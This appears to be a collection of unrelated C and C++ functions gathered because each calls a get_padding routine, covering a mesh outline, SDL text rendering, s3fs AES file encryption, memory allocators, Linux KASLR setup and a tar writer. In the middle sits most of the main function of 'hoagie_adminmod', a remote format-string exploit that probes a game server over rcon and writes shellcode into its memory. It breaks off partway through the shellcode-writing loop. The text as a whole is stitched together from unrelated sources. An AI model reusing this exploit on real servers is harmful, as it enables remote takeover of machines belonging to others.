void t_secondary_mesh::add_outline() { int found = find_last_layer_index(t_layer::code_type_e::ADMINISTRATIVE); if(found == -1) { m_layer.push_back(t_layer(t_layer::code_type_e::ADMINISTRATIVE, *this )); found = find_last_layer_index(t_layer::code_type_e::ADMINISTRATIVE); } std::list< cd::t_xy<int> >& path = std::list< cd::t_xy<int> > { get_padding() + cd::t_xy<int>(10000, 0), get_padding() + cd::t_xy<int>(10000, 10000), get_padding() + cd::t_xy<int>( 0, 10000), get_padding() + cd::t_xy<int>( 0, 0), get_padding() + cd::t_xy<int>(10000, 0) }; m_layer.back().add_path(9, 9, path); }
/** * Prints the provided string after formatting it to increase readability. */ void print_long_text(char *string, Renderer *renderer) { char log_buffer[MAXIMUM_STRING_SIZE]; const int font_width = get_font_width(); const int width = get_window_width() - 2 * get_padding() * font_width; TTF_Font *font = get_font(); SDL_Surface *surface; SDL_Texture *texture; SDL_Color color = to_sdl_color(COLOR_DEFAULT_FOREGROUND); SDL_Rect position; position.x = get_padding() * font_width; position.y = get_padding() * font_width; clear(renderer); /* Validate that the string is not empty and that x and y are nonnegative. */ if (string == NULL || string[0] == '\0') { return; } remove_first_breaks(string); surface = TTF_RenderText_Blended_Wrapped(font, string, color, width); if (surface == NULL) { sprintf(log_buffer, CREATE_SURFACE_FAIL, "print_long_text()"); log_message(log_buffer); return; } texture = SDL_CreateTextureFromSurface(renderer, surface); if (texture == NULL) { sprintf(log_buffer, CREATE_TEXTURE_FAIL, "print_long_text()"); log_message(log_buffer); return; } /* Copy destination width and height from the texture. */ SDL_QueryTexture(texture, NULL, NULL, &position.w, &position.h); SDL_RenderCopy(renderer, texture, NULL, &position); SDL_DestroyTexture(texture); SDL_FreeSurface(surface); present(renderer); }
int s3fs::Crypto::fstatAES(int fd, struct stat *st) { char buf[AES_BLOCK_SIZE]; memset(buf, 0, AES_BLOCK_SIZE); if(fstat(fd, st) == 0) { int bytesRead = preadAES(fd, buf, AES_BLOCK_SIZE, (st->st_size - AES_BLOCK_SIZE)); int padlen = get_padding((unsigned char*)buf); st->st_size -= padlen; return 0; } return 1; }
/** * Prints the provided strings centered in the middle of the screen. */ Code print_centered_vertically(const int string_count, char **strings, const ColorPair color_pair, Renderer *renderer) { const int text_line_height = global_monospaced_font_height; const int padding = 2 * get_padding() * global_monospaced_font_height; const int available_window_height = get_window_height() - padding; const int text_lines_limit = available_window_height / text_line_height; int printed_count = string_count; int y; int i; if (string_count > text_lines_limit) { printed_count = text_lines_limit; } y = (get_window_height() - string_count * text_line_height) / 2; for (i = 0; i < printed_count; i++) { print_centered_horizontally(y, 1, strings + i, color_pair, renderer); y += text_line_height; } return CODE_OK; }
static void get_entry_long(t_blk *blk, char *path, int *padding) { ssize_t lnk_len; if (lstat(path, &ENTRY(blk)->stat) == -1) ENTRY(blk)->error = strerror(errno); else ENTRY(blk)->error = NULL; if (S_ISLNK(ENTRY(blk)->stat.st_mode)) { if ((lnk_len = readlink(path, ENTRY(blk)->lnk, PATH_MAX - 1)) > -1) ENTRY(blk)->lnk[lnk_len] = 0; else ENTRY(blk)->error = strerror(errno); } if (!ENTRY(blk)->error) { get_long(blk); get_padding(blk, padding); } }
fn void* pool_alloc(Block* block, memsize size) { auto padding = get_padding(block->alignment, size); size += padding; #if DEBUG if(check_available_memory(block, size) == false) { FAIL("Tried to allocate %zu bytes but only %zu bytes available in block\n", size, block->size - block->used); } #endif auto address = (void*)block->current; block->current += size; block->used += size; #if DEBUG log_memory_usage(block); #endif ASSERT(address, "Allocation returned null\n"); return address; }
fn void* heap_alloc(Block* block, memsize size) { auto padding = get_padding(block->alignment, size); //check if enough space first #if DEBUG if(check_available_memory(block, size) == false) { FAIL("Tried to allocate %zu bytes but only %zu bytes available in block\n", size, block->size - block->used); } #endif auto tag = (HeapTag*)block->current; int state = 0; for(;;) { b32 looped = false; switch(state) { case 0: // check tag { if(tag->in_use || size > tag->size) { state = 1; break; } // use auto prev_size = tag->size; auto delta = prev_size - size; tag->in_use = true; tag->size = size; auto address = (void*)(block->current + sizeof(HeapTag)); block->used += size; block->current += sizeof(HeapTag) + size; // Is there room for anything useful afterwards set a tag for it if(delta > sizeof(HeapTag) + 8) { auto next_tag = (HeapTag*)block->current; next_tag->in_use = false; next_tag->size = delta; block->used += sizeof(HeapTag); } //otherwise jump to the next tag else { //check to see if the jump has put us out of bounds of the block auto end = (u8*)block->current + block->size; if(block->current > end) block->current = (u8*)block->base; } #if DEBUG log_memory_usage(block); #endif return address; } case 1: // Find tag { block->current += tag->size + sizeof(HeapTag); auto end = (u8*)block->base + block->size; if(block->current > end) { if(looped) { FAIL("No free space available in heap memory"); } block->current = (u8*)block->base; looped = true; } tag = (HeapTag*)block->current; state = 0; break; } } } }
int main(int argc, char **argv) { int sock, stackpops, padding; int i,j,bytes_written; int p1,p2,p3,p4; char cmd[1000], reply[1000]; unsigned long addr; printf("hoagie_adminmod - remote exploit for hlds servers using the adminmod plugin\n" "by [email protected]\n\n"); if(argc!=4) { printf("Usage: %s server_ip server_port rcon_password\n\n",argv[0]); exit(1); } strcpy(server_ip,argv[1]); server_port=strtol(argv[2],NULL,10); strcpy(rcon_pwd,argv[3]); create_conn(&sock,server_ip,server_port); printf("Getting stackpop count..."); send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply); stackpops=-1; for(padding=0;padding<4 && stackpops==-1;padding++) { for(i=1;i<100 && stackpops==-1;i++) { strcpy(cmd,"admin_command admin_map "); for(j=0;j<padding;j++) strcat(cmd,"b"); sprintf(reply,"AAAA%%%d$08x",i); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); reply[strlen(reply)-1]=0; if(strstr(reply,"AAAA41414141")) { stackpops=i; bytes_written=4+padding; } printf("."); fflush(stdout); } } padding--; if(stackpops==-1) { printf("\ncouldn't determine stackpop count. (I really tried hard!)\n"); exit(1); } printf("\nStackpops found: %d, Padding: %d\n",stackpops,padding); // inject shellcode printf("Writing shellcode..."); addr=OFFSET; for(i=0;i<strlen(shellcode);) { int t; if((addr&0xFF)>0x75) { // leave space for jmp-instruction (5 bytes: 0xe9 offset/32) // distance is 0x13B-0x7A = 193d unsigned long target=192; strcpy(cmd,"admin_command admin_map "); for(j=0;j<padding;j++) strcat(cmd,"b"); t=get_padding(0xe9,bytes_written); sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr++; strcpy(cmd,"admin_command admin_map "); for(j=0;j<padding;j++) strcat(cmd,"b"); t=get_padding(target&0xFF,bytes_written); sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr++; strcpy(cmd,"admin_command admin_map "); for(j=0;j<padding;j++) strcat(cmd,"b"); t=get_padding((target>>8)&0xFF,bytes_written); sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr++; strcpy(cmd,"admin_command admin_map "); for(j=0;j<padding;j++) strcat(cmd,"b"); t=get_padding((target>>16)&0xFF,bytes_written); sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr++; strcpy(cmd,"admin_command admin_map "); for(j=0;j<padding;j++) strcat(cmd,"b"); t=get_padding((target>>24)&0xFF,bytes_written); sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF, (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops); strcat(cmd,reply); send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply); addr+=193; } else {
/* Initialize base and padding for each memory region randomized with KASLR */ void __init kernel_randomize_memory(void) { size_t i; unsigned long vaddr_start, vaddr; unsigned long rand, memory_tb; struct rnd_state rand_state; unsigned long remain_entropy; vaddr_start = pgtable_l5_enabled() ? __PAGE_OFFSET_BASE_L5 : __PAGE_OFFSET_BASE_L4; vaddr = vaddr_start; /* * These BUILD_BUG_ON checks ensure the memory layout is consistent * with the vaddr_start/vaddr_end variables. These checks are very * limited.... */ BUILD_BUG_ON(vaddr_start >= vaddr_end); BUILD_BUG_ON(vaddr_end != CPU_ENTRY_AREA_BASE); BUILD_BUG_ON(vaddr_end > __START_KERNEL_map); if (!kaslr_memory_enabled()) return; kaslr_regions[0].size_tb = 1 << (MAX_PHYSMEM_BITS - TB_SHIFT); kaslr_regions[1].size_tb = VMALLOC_SIZE_TB; /* * Update Physical memory mapping to available and * add padding if needed (especially for memory hotplug support). */ BUG_ON(kaslr_regions[0].base != &page_offset_base); memory_tb = DIV_ROUND_UP(max_pfn << PAGE_SHIFT, 1UL << TB_SHIFT) + CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING; /* Adapt phyiscal memory region size based on available memory */ if (memory_tb < kaslr_regions[0].size_tb) kaslr_regions[0].size_tb = memory_tb; /* Calculate entropy available between regions */ remain_entropy = vaddr_end - vaddr_start; for (i = 0; i < ARRAY_SIZE(kaslr_regions); i++) remain_entropy -= get_padding(&kaslr_regions[i]); prandom_seed_state(&rand_state, kaslr_get_random_long("Memory")); for (i = 0; i < ARRAY_SIZE(kaslr_regions); i++) { unsigned long entropy; /* * Select a random virtual address using the extra entropy * available. */ entropy = remain_entropy / (ARRAY_SIZE(kaslr_regions) - i); prandom_bytes_state(&rand_state, &rand, sizeof(rand)); entropy = (rand % (entropy + 1)) & PUD_MASK; vaddr += entropy; *kaslr_regions[i].base = vaddr; /* * Jump the region and add a minimum padding based on * randomization alignment. */ vaddr += get_padding(&kaslr_regions[i]); vaddr = round_up(vaddr + 1, PUD_SIZE); remain_entropy -= entropy; } }
// ******************************************* // Public Function Implementation // ******************************************* int s3fs::Crypto::preadAES(int fd, char *buf, size_t buflen, off_t offset) { unsigned char readBlock[AES_BLOCK_SIZE]; unsigned char writeBlock[AES_BLOCK_SIZE]; unsigned char buffer[sizeof(char[buflen])]; size_t offsetIndex = offset % AES_BLOCK_SIZE; size_t readOffset = offset - offsetIndex; int bytesRead = 0; int byteIndex = 0; int padlen = 0; int filesize = 0; struct stat st; if(fstat(fd, &st) != 0) return 1; filesize = st.st_size; // FGPRINT("s3fs::Crypto Encrypted filesize %ld\n", filesize); // SYSLOGERR("s3fs::Crypto Encrypted filesize %ld", filesize); //Read the last cipher block to determine the true file size memset(readBlock, 0, AES_BLOCK_SIZE); memset(writeBlock, 0, AES_BLOCK_SIZE); bytesRead = pread(fd, readBlock, AES_BLOCK_SIZE, (filesize - AES_BLOCK_SIZE)); if(bytesRead > 0) { memset(writeBlock, 0, AES_BLOCK_SIZE); decrypt_block(readBlock, bytesRead, writeBlock); padlen = get_padding(writeBlock); // FGPRINT("s3fs::Crypto Encrypted padding length %d\n", padlen); filesize -= padlen; } if(buflen > filesize) buflen = filesize; memset(readBlock, 0, AES_BLOCK_SIZE); memset(writeBlock, 0, AES_BLOCK_SIZE); memset(buffer, 0, sizeof(buffer)); do { memset(readBlock, 0, AES_BLOCK_SIZE); bytesRead = pread(fd, readBlock, AES_BLOCK_SIZE, readOffset); if(bytesRead > 0) { memset(writeBlock, 0, AES_BLOCK_SIZE); decrypt_block(readBlock, bytesRead, writeBlock); readOffset += bytesRead; if(byteIndex == 0 ) { memcpy((buffer + byteIndex), (writeBlock + offsetIndex), (bytesRead - offsetIndex)); byteIndex += (bytesRead - offsetIndex); } else if((byteIndex + bytesRead) <= buflen) { memcpy((buffer + byteIndex), writeBlock, bytesRead); byteIndex += bytesRead; } else { memcpy((buffer + byteIndex), writeBlock, (bytesRead - ((byteIndex + bytesRead) - buflen))); byteIndex += ((byteIndex + bytesRead) - buflen); } } else { break; } } while(byteIndex <= buflen); if(byteIndex < buflen) { memcpy(buf, buffer, byteIndex); return byteIndex; } memcpy(buf, buffer, buflen); return buflen; }
int s3fs::Crypto::pwriteAES(int fd, const char *buf, size_t buflen, off_t offset) { char readBlock[AES_BLOCK_SIZE]; unsigned char writeBlock[AES_BLOCK_SIZE]; unsigned char buffer[AES_BLOCK_SIZE]; size_t offsetIndex = offset % AES_BLOCK_SIZE; size_t readOffset = offset - offsetIndex; size_t writeOffset = readOffset; size_t bufIndex = 0; bool newfile = false; int bytesRead = 0; int bytesWritten = 0; int enclen = 0; struct stat st; memset(readBlock, 0, AES_BLOCK_SIZE); memset(writeBlock, 0, AES_BLOCK_SIZE); memset(buffer, 0, AES_BLOCK_SIZE); do { if(!newfile) { if(fstatAES(fd, &st) != 0) return 1; bytesRead = preadAES(fd, readBlock, AES_BLOCK_SIZE, readOffset); if(bytesRead <= 0) { newfile = true; continue; } memcpy(buffer, readBlock, bytesRead); //Fill the buffer with contents from the readBlock if(bufIndex <= 0) { memcpy((buffer + offsetIndex), (buf + bufIndex), (AES_BLOCK_SIZE - offsetIndex)); enclen += (bytesRead + ((buflen - bufIndex) >= AES_BLOCK_SIZE) ? AES_BLOCK_SIZE : (buflen - bufIndex)); bufIndex += (AES_BLOCK_SIZE - offsetIndex); } else { memcpy(buffer, (buf + bufIndex), ((buflen - bufIndex) >= AES_BLOCK_SIZE) ? AES_BLOCK_SIZE : (buflen - bufIndex)); enclen += ((buflen - bufIndex) >= AES_BLOCK_SIZE) ? AES_BLOCK_SIZE : (buflen - bufIndex); bufIndex += ((buflen - bufIndex) >= AES_BLOCK_SIZE) ? AES_BLOCK_SIZE : (buflen - bufIndex); } //Set padding if needed if(enclen < AES_BLOCK_SIZE && ((st.st_size - buflen) < AES_BLOCK_SIZE)) { set_padding(buffer, enclen); int padlen = get_padding(buffer); // FGPRINT("s3fs::Crypto Encrypted padding length %d\n", padlen); } else if (enclen == AES_BLOCK_SIZE && bufIndex == buflen) { encrypt_block(buffer, AES_BLOCK_SIZE, writeBlock); bytesWritten = pwrite(fd, &writeBlock, AES_BLOCK_SIZE, writeOffset); memset(buffer, 0, AES_BLOCK_SIZE); set_padding(buffer, 0); int padlen = get_padding(buffer); // FGPRINT("s3fs::Crypto Encrypted padding length %d\n", padlen); } encrypt_block(buffer, AES_BLOCK_SIZE, writeBlock); bytesWritten = pwrite(fd, &writeBlock, AES_BLOCK_SIZE, writeOffset); writeOffset += bytesWritten; readOffset += bytesRead; } else { memset(buffer, 0, AES_BLOCK_SIZE); memcpy(buffer, (buf + bufIndex), ((buflen - bufIndex) >= AES_BLOCK_SIZE) ? AES_BLOCK_SIZE : (buflen - bufIndex)); enclen += ((buflen - bufIndex) >= AES_BLOCK_SIZE) ? AES_BLOCK_SIZE : (buflen - bufIndex); bufIndex += ((buflen - bufIndex) >= AES_BLOCK_SIZE) ? AES_BLOCK_SIZE : (buflen - bufIndex); if(enclen < AES_BLOCK_SIZE) { set_padding(buffer, enclen); int padlen = get_padding(buffer); // FGPRINT("s3fs::Crypto Encrypted padding length %d\n", padlen); } else if (enclen == AES_BLOCK_SIZE && bufIndex == buflen) { encrypt_block(buffer, AES_BLOCK_SIZE, writeBlock); bytesWritten = pwrite(fd, &writeBlock, AES_BLOCK_SIZE, writeOffset); writeOffset += bytesWritten; memset(buffer, 0, AES_BLOCK_SIZE); set_padding(buffer, 0); int padlen = get_padding(buffer); // FGPRINT("s3fs::Crypto Encrypted padding length %d\n", padlen); } encrypt_block(buffer, AES_BLOCK_SIZE, writeBlock); bytesWritten = pwrite(fd, &writeBlock, AES_BLOCK_SIZE, writeOffset); writeOffset += bytesWritten; } memset(readBlock, 0, AES_BLOCK_SIZE); memset(writeBlock, 0, AES_BLOCK_SIZE); memset(buffer, 0, AES_BLOCK_SIZE); enclen = 0; } while(bufIndex < buflen); return bufIndex; }
/* Initialize base and padding for each memory region randomized with KASLR */ void __init kernel_randomize_memory(void) { size_t i; unsigned long vaddr = vaddr_start; unsigned long rand, memory_tb; struct rnd_state rand_state; unsigned long remain_entropy; /* * All these BUILD_BUG_ON checks ensures the memory layout is * consistent with the vaddr_start/vaddr_end variables. */ BUILD_BUG_ON(vaddr_start >= vaddr_end); BUILD_BUG_ON(IS_ENABLED(CONFIG_X86_ESPFIX64) && vaddr_end >= EFI_VA_END); BUILD_BUG_ON((IS_ENABLED(CONFIG_X86_ESPFIX64) || IS_ENABLED(CONFIG_EFI)) && vaddr_end >= __START_KERNEL_map); BUILD_BUG_ON(vaddr_end > __START_KERNEL_map); if (!kaslr_memory_enabled()) return; /* * Update Physical memory mapping to available and * add padding if needed (especially for memory hotplug support). */ BUG_ON(kaslr_regions[0].base != &page_offset_base); memory_tb = DIV_ROUND_UP(max_pfn << PAGE_SHIFT, 1UL << TB_SHIFT) + CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING; /* Adapt phyiscal memory region size based on available memory */ if (memory_tb < kaslr_regions[0].size_tb) kaslr_regions[0].size_tb = memory_tb; /* Calculate entropy available between regions */ remain_entropy = vaddr_end - vaddr_start; for (i = 0; i < ARRAY_SIZE(kaslr_regions); i++) remain_entropy -= get_padding(&kaslr_regions[i]); prandom_seed_state(&rand_state, kaslr_get_random_long("Memory")); for (i = 0; i < ARRAY_SIZE(kaslr_regions); i++) { unsigned long entropy; /* * Select a random virtual address using the extra entropy * available. */ entropy = remain_entropy / (ARRAY_SIZE(kaslr_regions) - i); prandom_bytes_state(&rand_state, &rand, sizeof(rand)); entropy = (rand % (entropy + 1)) & PUD_MASK; vaddr += entropy; *kaslr_regions[i].base = vaddr; /* * Jump the region and add a minimum padding based on * randomization alignment. */ vaddr += get_padding(&kaslr_regions[i]); vaddr = round_up(vaddr + 1, PUD_SIZE); remain_entropy -= entropy; } }
void p_write_tar_entry (char* tarname, char* filename, int _size, int _modified, int etype) { char size[11]; char psize[11]; char modified[10]; char pmodified[10]; char fm[7]; char contents[100000]; dec_to_octal(_size, size); padded_octal(size, 11, psize); if (etype == 0) { strcpy(fm, "0100777"); dos2unix_str(filename, contents); } else if (etype == 5) { strcpy(fm, "0040777"); } /* * TAR FORMAT SPECIFICATION * (a) File name (0-) * (b) File mode (100; 8) * (c) Owner's numeric user ID (108; 8) * (d) Group's numeric user ID (116; 8) * (e) File size in bytes (octal) (124; 12) * (f) Last modificaton time in numeric Unix time format (octal) (136; 12) * (g) Checksum for header record (148; 8) * (h) Link indicator (file type) (156; 1) * (i) UStar indicator (257; 6) */ FILE* tar; tar = fopen(tarname, "wb"); fwrite(filename, 1, strlen(filename), tar); put_padding(100 - strlen(filename), tar); fputs(fm, tar); put_padding(1, tar); fputs("0000000", tar); put_padding(1, tar); fputs("0000000", tar); put_padding(1, tar); fputs(psize, tar); dec_to_octal(_modified, modified); padded_octal(modified, 0, pmodified); put_padding(1, tar); fputs(pmodified, tar); put_padding(1, tar); fputs("000000", tar); put_padding(1, tar); fputs(" ", tar); char cetype[2]; sprintf(cetype, "%d", etype); fputs(cetype, tar); put_padding(100, tar); fputs("ustar", tar); put_padding(1, tar); fputs("00", tar); put_padding(247, tar); fwrite(contents, 1, strlen(contents), tar); int ps = get_padding(contents); put_padding(ps - 1, tar); fclose(tar); }